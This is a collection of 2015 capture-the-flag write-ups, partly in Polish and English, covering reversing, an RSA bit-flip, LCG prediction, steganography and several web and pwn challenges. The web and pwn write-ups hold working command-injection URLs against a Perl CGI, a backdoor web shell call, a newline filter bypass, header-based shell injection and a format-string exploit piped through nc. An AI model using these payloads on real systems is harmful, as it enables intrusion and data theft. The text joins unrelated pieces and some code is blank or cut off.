odczytaliśmy wymagane hasło - "rotors". ### ENG version We get a [binary](./r200) (elf to be exact), which, as previously, performs a password check and returns if the password was correct or not, We expect the password to be the flag. The code is something like: int main() { printf("Enter the password: "); if (fgets(&password, 255, stdin)) { if (check_password(password)) { puts("Incorrect password!"); } else { puts("Nice!"); } } } We look at the check_password function. Simplified version (there were no function calls, all inlined): bool check_password(char *password) { int buf[6]; int reqired[6] = { 5, 2, 7, 2, 5, 6 }; for (int i = 0; i <= 5; i++) { buf[i] = get_from_assoc(list, password[i]); } for (int i = 0; i <= 5; i++) { if (buf[i] != required[i]) { return true; } } return false; } Where list is a global variable - associative container containing: { 'm': 0, 'n': 1, 'o': 2, 'p': 3, 'q': 4, 'r': 5, 's': 6, 't': 7, 'u': 8, 'v': 9, 'w': 10, 'x': 11, 'y': 12, 'z': 13 } We used it to read the password - "rotors".
##Entry form (Web/Network, 100p) ```http://entryform.pwn.seccon.jp/register.cgi (Do not use your real mail address.)``` ###PL[ENG](#eng-version) Formularz pod podanym linkiem pozwalał nam na podanie adresu e-mail oraz nazwy użytkownika. Po wysłaniu podziękował nam za podanie informacji, ale w rzeczywistości niczego nie wysyłał. Krótka zabawa z modyfikacją wartości niczego nam nie dała więc postanowiliśmy się rozejrzeć. Okazało się, że serwer webowy ma włączone listowanie i pod `http://entryform.pwn.seccon.jp/` znaleźliśmy dodatkowo katalog `SECRETS` oraz plik `register.cgi_bak`. Pierwszy katalog nie był dostępny, ale drugi z plików dał nam kod źródłowy naszego formularza. Najciekawsza część wyglądała następująco: ```perlif($q->param("mail") ne '' && $q->param("name") ne '') { open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n"; close(SH); open(LOG, ">>log"); ### <-- FLAG HERE ### flock(LOG, 2); seek(LOG, 0, 2); print LOG "".$q->param("mail")."\t".$q->param("name")."\n"; close(LOG); print "<h1>Your entry was sent. Go Back</h1>"; exit;}``` Jest to skrypt w Perlu, w którym od razu rzuca się w oczy możliwość wywołania własnego polecenia zawierając go w parametrze `mail`. Potwierdza nam to wysłanie `';ls -la;'`. Według kodu źródłowego flagę mamy znaleźć w pliku `log`. Niestety wygląda na to, że skrypt perlowy nie ma praw do jego odczytania. W takim razie sprawdziliśmy co znajdowało się w uprzednio niedostępnym dla nas katalogu `SECRETS`. Znajdował się tam plik `backdoor123.php` o prostym kodzie: ``. Wywołanie w nim polecenia `cat ../log` dało nam flagę: `SECCON{Glory_will_shine_on_you.}` ### ENG version Opening the provided link gave us a form asking for an e-mail and a username. After submitting it displayed a thank you message, but didn't really sent us anything. After some time playing with the values we decided to look around. It turned out that the webserver had listing enabled and going to `http://entryform.pwn.seccon.jp/` gave us a `SECRETS` directory and a `register.cgi_bak` file. The former wasn't available, but the latter file gave us a source code of our form. The most interesing part was the following: ```perlif($q->param("mail") ne '' && $q->param("name") ne '') { open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n"; close(SH); open(LOG, ">>log"); ### <-- FLAG HERE ### flock(LOG, 2); seek(LOG, 0, 2); print LOG "".$q->param("mail")."\t".$q->param("name")."\n"; close(LOG); print "<h1>Your entry was sent. Go Back</h1>"; exit;}``` It's a Perl script and the first thing that comes to mind is the possibility of a bash command injection in the `mail` parameter. We confirm it by sending `';ls -la;'`. According to the source code we were supposed to find the flag in the `log` file. Unfortunately it seemed that the Perl script didn't have a read access. In that case we tried accessing the previousely inaccessible `SECRETS` directory. There was a `backdoor123.php` file with a very simple source code: ``. Invoking a `cat ../log` gave us the flag: `SECCON{Glory_will_shine_on_you.}`
## QR Puzzle (Unknown, 200p) Please solve a puzzle 300 times QRpuzzle.zip ###PL[ENG](#eng-version) Dostajemy program, który wyświetla poszatkowane QR cody po uruchomieniu: ![](screen.png) Dość oczywisty jest cel zadania - należy napisać program który złoży taki QR code, rozwiąże go, oraz wyśle do programu.Moglibyśmy próbować go reversować, ale to wyraźnie co innego niż autorzy zadania zaplanowali dla nas, więc nie poszliśmy tą drogą. Napisaliśmy w tym celu pewien bardzo duży solver, który: - robił screena programu - wyciągał z niego poszczególne fragmenty - składał części w jedną (najtrudniejsza część oczywiśćie) - dekodował wynikowy QR code - wysyłał zdekodowany tekst do aplikacji - czekał 500 ms i powtarzał ten cykl. Kodu jest za dużo by omawiać go funkcja po funkcji, wklejona zostanie jedynie główna funkcja pokazująca te kroki ([pełen kod](Form1.cs)]: ```csharpwhile (true){ using (var bmp = CaptureApplication("QRpuzzle")) { var chunks = Split( 18, 77, 160, 167, 6, 13, 3, bmp); var result = Bundle.Reconstruct(chunks, 3); var reader = new BarcodeReader { PossibleFormats = new[] { BarcodeFormat.QR_CODE }, TryHarder = true }; result.Save("Test2.png"); var code = reader.Decode(result); SendKeys.Send(code.Text); Thread.Sleep(500); }}``` Flaga: SECCON{402B00F89DC8} ### ENG version We get a program that displays scrambled QR codes when run: ![](screen.png) It's obvious what task authors want from us - we have to write program that unscrambles given QR code and sends it to program.Of course we could try to reverse engineer given program, but clearly task authors wanted us to solve challenge different way. We have written large solver, that: - captured program window to bitmap - cut all 9 qr code fragments to different bitmaps - put fragments in correct order (hardest part, by far) - decoded resulting QR code - sent decoded text to program - slept 500 ms and repeated that cycle Solver code is too large to be described function by function, so we will just paste main function here ([full code](Form1.cs)): ```csharpwhile (true){ using (var bmp = CaptureApplication("QRpuzzle")) { var chunks = Split( 18, 77, 160, 167, 6, 13, 3, bmp); var result = Bundle.Reconstruct(chunks, 3); var reader = new BarcodeReader { PossibleFormats = new[] { BarcodeFormat.QR_CODE }, TryHarder = true }; result.Save("Test2.png"); var code = reader.Decode(result); SendKeys.Send(code.Text); Thread.Sleep(500); }}``` Flag: SECCON{402B00F89DC8}
## Challenge Find the flag at http://entryform.pwn.seccon.jp/register.cgi ## Solution Navigate to the root path of the url http://entryform.pwn.seccon.jp/ to see: ![](entryform1.png) Source of the CGI script available on: http://entryform.pwn.seccon.jp/register.cgi_bak ```perl#!/usr/bin/perl# by KeigoYAMAZAKI, 2015.11.02- use CGI;my $q = new CGI; print<<'EOM';Content-Type: text/html; charset=utf-8 ... EOM if($q->param("mail") ne '' && $q->param("name") ne '') { open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n"; close(SH); open(LOG, ">>log"); ### <-- FLAG HERE ### flock(LOG, 2); seek(LOG, 0, 2); print LOG "".$q->param("mail")."\t".$q->param("name")."\n"; close(LOG); print "<h1>Your entry was sent. Go Back</h1>"; exit;} print <<'EOM';``` From here we can see that we must use code injection in the mail parameter. First problem, the interactive sendmail (-bm) won't allow us to see output of our code injection. To avoid it, just inject another parameter (in my case -bp) as found in the sendmail manual `man sendmail`. So -bp is another parameter that will exit sendmail with an error. The second problem is that we don't have permission to cat the log file using the CGI script, so we'll explore a little. Payload: `/register.cgi?name=notempty&mail='%20-bp|<command here>%20%23` In this case we want to see the files so we use `ls`: `/register.cgi?name=notempty&mail='%20-bp|ls%20%23` ![](entryform2.png) We can see that there is a hidden folder called `SECRETS`, so let's look inside: `/register.cgi?name=notempty&mail=%27%20-bp|ls%20SECRETS%20%23` ![](entryform3.png) Another interesting file, let's view the contents: `/register.cgi?name=notempty&mail=%27%20-bp|cat%20SECRETS%2fbackdoor123.php%20%23` We view the sourcecode of the page and we then see: ```php``` Finally, `cat` the flag: `/SECRETS/backdoor123.php?cmd=cat%20../log` **SECCON{Glory_will_shine_on_you.}** ## Notes Using `ls -la` is a better option as we see: ```dr-xr-xr-x 3 cgi cgi 4.0K Dec 1 22:29 .drwxr-xr-x 4 root root 4.0K Dec 1 22:57 ..-r--r--r-- 1 root root 221 Dec 5 15:18 .htaccessdr-xr-xr-x 2 root root 4.0K Dec 1 21:52 SECRETS-r---w---- 1 apache cgi 2.2M Dec 6 02:11 log-r--r--r-- 1 root root 1.2K May 15 2015 logo.png-r-xr-xr-x 1 cgi cgi 1.6K Dec 5 20:32 register.cgi-r--r--r-- 1 root root 1.6K Dec 1 22:25 register.cgi_bak``` Using ID we see:```uid=1001(cgi) gid=1001(cgi) groups=1001(cgi),1003(alien)``` But the ID of backdoor123.php is:```uid=48(apache) gid=48(apache) groups=48(apache),1003(alien)``` ## Solved byr00t
[](ctf=tum-ctf-teaser-2015)[](type=pwn)[](tags=format-string) #greeter (pwn 15) ```bash$ file ./greeter./greeter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2657dbbc9fbf7a266d2d963b4644d1c3b44d8304, not stripped```So we have a not stripped file. ```bash$ ./greeter Hi, what's your name?AAAAAPwn harder, AAAAA!```We can send in a name. It suffers form format string vulnerability.```$ ./greeter Hi, what's your name?%x.%xPwn harder, b5eeae30.7227d7a0!```A little bit of analysis shows that the file reads in flag.txt to an address called flag which is not on the stack. Its on the heap. Since it is not on the stack we can't use repeated %x to read it. Also since the file is not stripped we can see the locations of each variable.```bashgdb-peda$ p &flag $1 = (char (*)[256]) 0x600ca0 <flag>``` %s is a format specifier that prints out a string ftarting from a given pointer.Now just figure out the offset. ```bash$ python -c 'print "%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.AAAA"' | ./greeter Hi, what's your name?Pwn harder, ffa0b88010c3b7a0.1096f620.10e32700.78252e78.78257825.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.41414141.0.0.0.0.0.0.AAAA!```` Payload format:> format_string+p64(address) ```>>> p64(0x600ca0)'\xa0\x0c`\x00\x00\x00\x00\x00'``` Finally```bash$ python -c 'print "%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s.%x.%x.%x.%x.%x.%x.\xa0\x0c`\x00\x00\x00\x00\x00"' | nc 1.ctf.link 1030Hi, what's your name?Pwn harder, 720fe23030bcc7a0.30900620.30dea700.78252e78.78257825.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.hxp{f0rm4t_sTr1ngs_r0ck}.a.0.0.0.0.0.� `!``` Flag> hxp{f0rm4t_sTr1ngs_r0ck}
## TinyHosting (web, 250p, 71 solves) > A new file hosting service for very small files. could you pwn it?> > http://136.243.194.53/ ### PL[ENG](#eng-version) Pod http://136.243.194.53/ znajduje się formularz umożliwiający wysyłanie plików na serwer. W kodzie HTML znajduje się komentarz: Po dodaniu do url `?src=1` możemy zobaczyć kod strony: '.$savepath.htmlspecialchars($_POST['filename']).""; } ?> Skrypt pozwala na tworzenie plików z rozszerzeniem .php. Treść jest jednak ucinana do 7 znaków. `src--> After adding `?src=1` to the url php source is printed: '.$savepath.htmlspecialchars($_POST['filename']).""; } ?> Page doesn't block creating files with .php extension. The content is limited to 7 chars though. `
## HD44780 (embedded, 150p, 40 solves) > The logic states of the GPIOs have been recorded Figure out the displayed message. You're gonna need this [here](./hd44780.tgz) ![1.jpg](1.jpg) ### PL[ENG](#eng-version) Dostajemy paczkę z sześcioma zdjęciami i sześcioma plikami, które zostały nazwane RSPI_GPIO_23.txt. Na zdjęciach widzimy 4 wierszowywyświetlacz podłączony do raspberry pi. Po nazwie zadania możemy wywnioskować, że jest to wyświetlacz oparty o sterownik Hitachi HD44780.Pliki tekstowe zawierają dwie linijki danych pierwsza to czas, druga stan lini. Ze zdjęć widać, że wyświetlacz i raspberry podłaczone są w następujący sposób: ```GPIO07 -> RSGPIO08 -> CLKGPIO25 -> BIT4GPIO24 -> BIT5GPIO23 -> BIT6GPIO18 -> BIT7``` Haczykiem w tym zadaniu okazuje się to że wyświetlacz jest czterowierszowy co zmienia mapowanie pamieci na piksele na wyświetlaczu.Poprawne mapowanie wygląda w ten sposób. ![http://forum.allaboutcircuits.com/data/photos/o/1/1380-1335426137-a68c5c9f44d7bbcfc514a0e33c4c9cc6.png](http://forum.allaboutcircuits.com/data/photos/o/1/1380-1335426137-a68c5c9f44d7bbcfc514a0e33c4c9cc6.png) Potem wczytujemy dane plikiem [read.py](./read.py) i sortujemy je pod względem czasu. W wikipedii czytamy, że sygnał zegarowy"łapie" na opadającym zboczu. Emulujemy stany lini i zapisujemy je jeśli stan lini CLK zmienia się z 1 na 0.Następnie na [wyjściu](./read.out) wygenerowanym przez [read.py](./read.py) odpalamy [decode.py](./decode.py). Wyświetlacz podłączony jest czterobitowyminterfejsem, dlatego musimy poskładać dwa stany na pojedynczą komendę. [Otrzymujemy](./decode.out) pięknie rozpisane to co dzieje się z wyświetlaczem.Możemy to zaemulować plikiem [emulate.py](./emulate.py). Na [wyjściu](./emulate.out) dostajemy ciąg ekranów. Ostatecznie flaga ukazana jest na ekranie:```#######################EOM ##The flag 32C3_Never_##_let_you_down_Never_##_gonna_give_you_up_ #######################``` a flaga to: `32C3_Never__let_you_down_Never__gonna_give_you_up_` Oprócz tego organizatorzy dają linka do YT jako bonus. [bit.ly/1fKy1tC](http://bit.ly/1fKy1tC). ### ENG versionWe got the archive with six pictures and six text files named like RSPI_GPIO_23.txt. In the pictures we can see a four rowsLCD display interfaced with raspberry pi according to the task name we can assume it is based on Hitachi HD44780 controller.Every text file contains two lines with plenty of floating point values each. According to the pictures we know that the diplay and raspberry are connected as follows:```GPIO07 -> RSGPIO08 -> CLKGPIO25 -> BIT4GPIO24 -> BIT5GPIO23 -> BIT6GPIO18 -> BIT7``` A catch in this task is that the display has four rows, while the controler orginaly was meant to handle only two rows.That implicts fancy maaping DRAM to chars on the display.![http://forum.allaboutcircuits.com/data/photos/o/1/1380-1335426137-a68c5c9f44d7bbcfc514a0e33c4c9cc6.png](http://forum.allaboutcircuits.com/data/photos/o/1/1380-1335426137-a68c5c9f44d7bbcfc514a0e33c4c9cc6.png) When we know all that let's get down to work. We read data with [read.py](./read.py) file and sort them by occurence time.Wikipedia inform us that clock signal is trigerred by falling edge. So we have to emulate state of every line and save whenclock line go form state 1 to 0. Next in the [output](./read.out) of [read.py](./read.py) we execute [decode.py](./decode.py).The display is connected via 4bit interface so we have to join two state to get one data or comand in result. At the end ofthis phase we get [decode.out](./decode.out) containing data and commands with comments. Now we can emulate that with[emulate.py](./emulate.py). Finaly we get a lot of screens from every phase of display in file [emulate.out](./emulate.out). The whole flag contains this one: ```#######################EOM ##The flag 32C3_Never_##_let_you_down_Never_##_gonna_give_you_up_ #######################``` and a flag is: `32C3_Never__let_you_down_Never__gonna_give_you_up_` As a bonus we get link [bit.ly/1fKy1tC](http://bit.ly/1fKy1tC).
# GuessTheNumber ## Problem The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script. He also gave you some hard facts:- he uses some LCG with standard glibc LCG parameters- the LCG is seeded with server time using number format YmdHMS (python strftime syntax)- numbers are from 0 up to (including) 99- numbers should be sent as ascii string You can find the service on school.fluxfingers.net:1523 ## Solution Credit: [@emedvedev](https://github.com/emedvedev) Communicating with the service opens a guess-the-number game, which uses a PRNG to generate numbers and exposes the right number on a failed try: ```> Welcome to the awesome guess-my-number game!> It's 24.10.2015 today and we have 23:34:22 on the server right now. Today's goal is easy:> just guess my 100 numbers on the first try within at least 30 seconds from now on.> Ain't difficult, right?> Now, try the first one:< 0> Wrong! You lost the game. The right answer would have been '62'. Quitting.``` Let's take a look at the hints we're given: LCG (linear congruental generator) is a pseudorandom number generator which is defined by the following relation: ```X(n+1) = (a * X(n) + c) mod m``` Here, `X` is the sequence, where `X(0)` is the seed (start value), and the rest of the numbers are pre-defined. [Wikipedia](https://en.wikipedia.org/wiki/Linear_congruential_generator) gives a lot more information as well as `glibc` parameters, which we'll need in our challenge. With the parameters from `glibc` our sequence will be defined as: ```X(n+1) = (1103515245 * X(n) + 12345) mod 2^31``` The seed is server time formatted as `YmdHMS`: for `24.10.2015 23:34:22` the seed would be `20152410233422`. Let's start by writing a simple Python script with an LCG taking a `time` object as a seed and returning `number % 100` (since we'll need 0-99 as an answer), as well as a wrapper class for communicating with a socket (unnecessary, but I'm used to it): ```import socketimport time class LCG(): def __init__(self, timeseed): self.a = 1103515245 self.c = 12345 self.m = 2**31 self.state = int(time.strftime('%Y%m%d%H%M%S', timeseed)) def round(self): self.state = (((self.state * self.a) + self.c) % self.m) return self.state % 100 class CTFSocket(): def __init__(self, host, port): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((host, port)) def read(self): return self.socket.recv(4096) def send(self, message): return self.socket.send(str(message)) conn = CTFSocket("school.fluxfingers.net", 1523)read = conn.read()server_time = time.strptime(read[50:87], "%d.%m.%Y today and we have %H:%M:%S")lcg = LCG(server_time)rnd = lcg.round() print rndconn.send(rnd)print conn.read()``` Checking the output, the number we get proves to be incorrect:```48Wrong! You lost the game. The right answer would have been '47'. Quitting.``` Time for some long and tiresome trial and error. The breakthrough happens after checking whether the number we get from the server appears at some other place in a sequence rather than the beginning. We modify the code to open the connection 10 times and compare the correct answer with the first 200 elements from our LCG sequence with the same seed: ```for sample in xrange(1, 10): print 'Sample #%i' % sample conn = CTFSocket("school.fluxfingers.net", 1523) read = conn.read() server_time = time.strptime(read[50:87], "%d.%m.%Y today and we have %H:%M:%S") lcg = LCG(server_time) rnd = lcg.round() conn.send("101") num = int(conn.read().split("'")[1]) print ' The answer should be %i' % num sequence = [] for pos in xrange(1, 200): if rnd == num: print ' Answer found in the LCG sequence at pos %i' % pos rnd = lcg.round() time.sleep(1)``` Let's run it: ```Sample #1 The answer should be 2 [...] Answer found in the LCG sequence at pos 100Sample #2 The answer should be 95 [...] Answer found in the LCG sequence at pos 100 [...]Sample #3 The answer should be 40 [...] Answer found in the LCG sequence at pos 100 [...]Sample #4 The answer should be 26 [...] Answer found in the LCG sequence at pos 100 [...]Sample #5 The answer should be 71 Answer found in the LCG sequence at pos 100 [...]``` Apparently, sequence element #100 is always our answer #1. When we try to go forward, it turns out that the element #101 is not the answer #2, but the element #99 is. That is enough to guess what the server algorithm is: take the first 100 numbers from the LCG and run them backwards. Here's the code to replicate the whole sequence: ```seeds = [] conn = CTFSocket("school.fluxfingers.net", 1523)read = conn.read()server_time = time.strptime(read[50:87], "%d.%m.%Y today and we have %H:%M:%S")lcg = LCG(server_time)rnd = lcg.round()seeds.append(rnd) for i in xrange(99): rnd = lcg.round() seeds.append(rnd) for num in reversed(seeds): conn.send(str(num)) print conn.read()``` Run it and get the flag: ```Congrats! You won the game! Here's your present:flag{don't_use_LCGs_for_any_guessing_competition}``` ## Another take There's another take on this problem that's just too creative not to mention here: some teams solved the challenge by opening 101 connections at the same second (to have the same seed), then used each connection as an oracle for getting subsequent numbers. The method works like this:- open 101 connections in one second so that they all have the same seed;- use conn #1 to get the first number from the server;- input the number you got from conn #1 into conn #2, get the second number #2;- input the first two numbers into conn #3, get the third number;- ...- consecutively get 100 numbers with 100 connections, input them using connection #101;- get the flag! Pretty neat.
# Trend Micro CTF 2015: crypto100 ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Trend Micro CTF 2015 | crypto100 | Crypto | 100 | **Description:**>*Category: Cryptography*>>*Points: 100*>>*Decrypt it by your missing private key!*>>*kPmDFLk5b/torG53sThWwEeNm0AIpEQek0rVG3vCttc=*>>*[You have a strange public key.](challenge/PublicKey.pem)*>*Where is the lost 1bit?*>*Let's enjoy your prime factorization:)* ----------## Write-up We are given a ciphertext and an RSA public key consisting of: ```n = 82401872610398250859431855480217685317486932934710222647212042489320711027708 (256-bit public modulus)e = 65537 (public exponent, fermat number F4)``` It turned out the public modulus had already been factored: ![alt factors](factors.png) But as we can see this is not a valid RSA public modulus as a valid modulus has to be the product of exactly two (large) prime numbers. The description suggests a 'lost 1bit' which hints at a bit corruption somewhere in the public modulus so our approach is to iterate over all bits in the modulus, flipping them and for each candidate modulus determine whether it is pre-factored or not (and if so whether the factors indicate a valid RSA modulus) since we assume we won't have to actually factor the correct modulus ourselves. We wrote [the following script](solution/crypto100_crack.py) to automate this: ```python#!/usr/bin/env python## Trend Micro CTF 2015## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday# from Crypto.PublicKey import RSAfrom pyprimes import *from factorlookup import * # Extended Greatest Common Divisordef egcd(a, b): if (a == 0): return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) # Modular multiplicative inversedef modInv(a, m): g, x, y = egcd(a, m) if (g != 1): raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) else: return x % m ciphertext = "kPmDFLk5b/torG53sThWwEeNm0AIpEQek0rVG3vCttc=".decode('base64')pubKey = RSA.importKey(open("../challenge/PublicKey.pem", 'rb').read()) print "[*]RSA Public key (n = %d, e = %d)" % (pubKey.n, pubKey.e) # Get binary representationbinrep = "{0:b}".format(pubKey.n) # Iterate over every bit and flip itfor pos in xrange(len(binrep)): c = list(binrep) c[pos] = "1" if (c[pos] == "0") else "0" candidate_binrep = "".join(c) candidate = int(candidate_binrep, 2) facstatus = isFactored(candidate) if(facstatus[0] > 4): if((len(facstatus[1]) == 2) and not(False in [isprime(x) for x in facstatus[1]])): print "[+]Found candidate! [%d] [%s]" % (candidate, facstatus[1]) print "[+]Corresponding private exponent (d = %d)" % d else: continue p = facstatus[1][0] q = facstatus[1][1] d = modInv(pubKey.e, (p-1)*(q-1)) privKey = RSA.construct((candidate, pubKey.e, d, p, q, )) p = privKey.decrypt(ciphertext) # If flag prefix is in plaintext we have our private key if("TMCTF" in p): print "[+]Plaintext: [%s]" % p exit()``` Which gives the following output when exected: ```bash$ ./crypto100_crack.py[*]RSA Public key (n = 82401872610398250859431855480217685317486932934710222647212042489320711027708, e = 65537)[+]Found candidate! [82401872610398250859431855480217685317486932934710222647212042489320711027709] [[279125332373073513017147096164124452877L, 295214597363242917440342570226980714417L]][+]Corresponding private exponent (d = 46174319388196978265129247000251984002598502609436833115707069256591953333505)[+]Plaintext: [...TMCTF{$@!zbo4+qt9=5}]```
## Challenge Find the flag in this file. sunrise.zip ## Solution I didn't see an English writeup for this one, and I had to find out how to solve it post-CTF since I was close but didn't manage to solve it during the CTF. We unzip the file to see sunrise.png: ![](sunrise.png) I didn't notice anything out of the ordinary after doing my usual checks. One example that I found elsewhere: ```$ pngcheck -7fpstvx sunrise.pngScanning: sunrise.pngsunrise-1.png: contains sunrise.png PNG 1File: sunrise-1 chunk IHDR at offset 0x0000c, length 13 3024 x 4032 image, 32-bit RGB+alpha, non-interlaced chunk sRGB at offset 0x00025, length 1 rendering intent = perceptual chunk gAMA at offset 0x00032, length 4: 0.45455 chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi) chunk tEXt at offset 0x00057, length 16, keyword: Source iPhone 6s chunk tIME at offset 0x00073, length 7: 23 Nov 2015 17:07:55 UTC chunk tEXt at offset 0x00086, length 32, keyword: CreationTime 2015:11:13 06:14:59 chunk tEXt at offset 0x000b2, length 33, keyword: Creation Time 2015:11:13 06:14:59 chunk IDAT at offset 0x000df, length 65243 zlib: deflated, 32K window, fast compression...No errors detected in sunrise-1 (181 chunks, -2254337.3% compression).``` I don't notice anything odd except for some weird data at the end of the image when viewed in a hex editor. ![](extra_data.png) From another writeup it looks like the editor that they used [Binary Editor BZ](http://www.forest.impress.co.jp/library/software/binaryeditbz/) which shows the extra data in a more visual way. I tried this out for myself and after enabling `View -> Bitmap View` you can see the extra data at the bottom of the image. ![](bz_bitmap_view.png) Also from another writeup, I have seen that there is also a way to see that there is extra compressed data in the image when trying to manipulate the image in PHP, although I haven't quite yet figured out how to get the same message (please email me if you know!). I will update this in the future if I figure it out. ```libpng warning: Extra compressed data.libpng warning: Extra compression data.gd-png: fatal libpng error: IDAT: CRC errorgd-png error: setjmp returns error condition 2PHP Warning: imagecreatefrompng(): 'sunrise.png' is not a valid PNG file ...Unable to imagecreatefrompng.``` Ok so we have confirmed that there's extra data at the end of the image, but how to view it? We simply extend the height of the image via hex editor. But first we need to find the location of the image height to change. There are 3 ways that I'd usually do this, all using a hex editor: 1. Search for the [PNG specification](http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html) which should detail the file structure. Sometimes I personally find these hard to read, but it may be easy for some of you.2. Simply convert the image height to hex and search for this in the hex editor. In this case we convert 4032 to hex which comes out as 0FC0.3. Find a hex editor which includes file "grammar". This makes it super easy to find the data that you need as shown below: ![](grammar.png) Finally, we increase the size from 4032 to something a bit bigger such as 4245. Converting this to hex gives us 1095 so we replace the existing data with this value. Viewing the image in GIMP and scrolling to the bottom of the image we finally see the flag. ![](flag.png) This challenge only had 18 solves during the CTF, and to be honest I should have been able to get this since I tried something similar on a different challenge recently! But I learnt some new tricks and I'll remember this for next time. Hope you enjoyed reading this. **SECCON{Metadata_modification_is_used_for_information_hiding.}** ## Notes I've found other similar editors to BZ such as [HexEdit](http://www.codeproject.com/Articles/135474/HexEdit-Window-Binary-File-Editor) ## Credit - http://iwasi.hatenablog.jp/entry/2015/12/06/190557- http://khack40.info/seccon-ctf-2015-steganography-2/
##smartcat (Web, 50+50p) ###PL[ENG](#eng-version) W zadaniu dostajemy do dyspozycji webowy interfejs (CGI) pozwalający pignować wskazanego hosta. Domyślamy się, że pod spodem operacja jest realizowana jako wywołanie `ping` w shellu z doklejonym podanym przez nas adresem. #### Smartcat1 Pierwsza część zadania polega na odczytaniu flagi znajdującej się w nieznanym pliku, więc wymaga od nas jedynie możliwości czytania plików.Operatory: $;&|({` \t są zablokowane, ale zauważamy, że znak nowej linii `\n` jest wyjątkiem.Możemy dzięki temu wykonać dowolną komendę podając na wejściu np. `localhost%0Als` Co zostanie potraktowane jako 2 osobne komendy - `ping localhost` oraz `ls` Wywołanie `ls` pozwala stwierdzić, że w bierzącym katalogu jest katalog `there`, ale nie mamy możliwości listować go bez użycia spacji. Po chwili namysłu wpadliśmy na pomysł żeby użyć programu `find` który dał nam: ```../index.cgi./there./there/is./there/is/your./there/is/your/flag./there/is/your/flag/or./there/is/your/flag/or/maybe./there/is/your/flag/or/maybe/not./there/is/your/flag/or/maybe/not/what./there/is/your/flag/or/maybe/not/what/do./there/is/your/flag/or/maybe/not/what/do/you./there/is/your/flag/or/maybe/not/what/do/you/think./there/is/your/flag/or/maybe/not/what/do/you/think/really./there/is/your/flag/or/maybe/not/what/do/you/think/really/please./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag``` Pozostało nam tylko wywołać `cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag` i uzyskać flagę: `INS{warm_kitty_smelly_kitty_flush_flush_flush}` #### Smartcat2 Druga część zadania jest trudniejsza, ponieważ treść sugeruje, że musimy odczytać flagę przez coś znajdującego się w katalogu `/home/smartcat/` oraz, że potrzebny będzie do tego shell.Zauważamy po pewnym czasie, że możemy tworzyć pliki w katalogu `/tmp`. Możemy także uruchamiać skrypty shell przez `sh<script.sh`, ale nadal mieliśmy problem z tym, jak umieścić w skrypcie interesującą nas zawartość.Wreszcie wpadliśmy na to, że istnieją pewne zmienne, na których zawartość możemy wpłynąć - nagłówki http.W szczególności możemy w dowolny sposób ustawić swój `user-agent`. Następnie możemy zawartość zmiennych środowiskowych wypisać przez `env` a wynik tej operacji zrzucić do pliku w `tmp`, a potem uruchomić przez `sh</tmp/ourfile`. Pierwsza próba zawierająca user-agent: `a; echo "koty" >/tmp/msm123; a` zakończyła się sukcesem. Mogliśmy więc z powodzeniem wykonać dowolny kod, w tym użyć `nc` lub `pythona` do postawienia reverse-shell. Zamiast tego najpierw wylistowaliśmy katalog `/home/smartcat/` znajdując tam program `readflag`, który przed podaniem flagi wymagał uruchomienia, odczekania kilku sekund i przesłania komunikatu.Wysłaliśmy więc na serwer skrypt, który wykonywał właśnie te czynności z podanym programem i dostaliśmy: Flag: ___ .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| hjw "----^----" `INS{shells_are _way_better_than_cats}` ###ENG version In the task we get a web interface (CGI) for pinging selected host.We predict that underneath this is calling `ping` from shell with adress we give. #### Smartcat1-eng First part of the task requires reading a flag residing in an unknown file, so we only need to be able to read files.In the web interface characters $;&|({` \t are blocked, but we notice that newline character `\n` or `%0A` is an exception.Thanks to that we can execute any command we want by using input: `localhost%0Als` This will be executed as 2 separate commands - `ping localhost` and `ls` Calling `ls` shows us that in currend directory there is a `there` directory, but we can't list it since we can't use space. After a while we figure that we could use `find` which gived us: . ./index.cgi ./there ./there/is ./there/is/your ./there/is/your/flag ./there/is/your/flag/or ./there/is/your/flag/or/maybe ./there/is/your/flag/or/maybe/not ./there/is/your/flag/or/maybe/not/what ./there/is/your/flag/or/maybe/not/what/do 